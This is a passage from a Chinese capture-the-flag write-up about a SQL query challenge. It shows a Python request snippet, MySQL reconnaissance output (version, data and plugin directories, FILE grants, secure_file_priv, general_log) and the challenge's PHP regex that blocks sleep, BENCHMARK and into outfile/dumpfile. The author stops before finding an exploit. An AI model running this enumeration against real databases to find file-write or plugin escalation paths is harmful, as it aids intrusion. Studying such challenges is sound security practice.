        'query':'select version();',
        'code':code,
        'dbname':'Nu1L'
    }
    res = s.post(url=queryurl,data=data,headers=header)
    print(res.text)

sendquery(getcode())
```

```
select version();
[[&quot;5.6.16-1~exp1&quot;]]
select database();
[[&quot;Nu1L&quot;]]
show databases;
[[&quot;information_schema&quot;],[&quot;Nu1L&quot;]]
select @@datadir;
[[&quot;\/var\/lib\/mysql\/&quot;]]
select @@basedir;
[[&quot;\/usr&quot;]]
select @@version_compile_os, @@version_compile_machine;
[[&quot;debian-linux-gnu&quot;,&quot;x86_64&quot;]]
select @@plugin_dir ;
[[&quot;\/usr\/lib\/mysql\/plugin\/&quot;]]
show variables like \'plugin%\';'
[[&quot;plugin_dir&quot;,&quot;\/usr\/lib\/mysql\/plugin\/&quot;]]
```

```
function query_sql($conn, $query)
{
    if(preg_match('/sleep|BENCHMARK|GET_LOCK|information_schema|into.+?outfile|into.+?dumpfile|\/\*.*\*\//is', $query)) {
        die('Go out!!!');
    }
    $result = $conn->query($query);
    if(!$result){
        return mysqli_error($conn);
    }elseif($result->num_rows>0){
        return json_encode($result->fetch_all());
    }else{
        return "no result";
    }
    $conn->close();
}
```

文件操作权限

```
[[secure_auth,ON],[secure_file_priv,\/tmp\/]]



[[&quot;GRANT FILE ON *.* TO 'Smi1e'@'localhost' IDENTIFIED BY PASSWORD
'*339E812B15121CF39F5ED8E0599F13BE1942C3D3'&quot;],[&quot;GRANT SELECT ON
`Nu1L`.* TO 'Smi1e'@'localhost'&quot;]]
```

配置文件

```
show variables like \'%general%\';
[[&quot;general_log&quot;,&quot;OFF&quot;],
[&quot;general_log_file&quot;,&quot;\/var\/lib\/mysql\/78f82a4ba850.log&quot;]]
```

后面应该是找调用链，对框架不熟，太菜了，膜NESE的大佬，做不动了 XD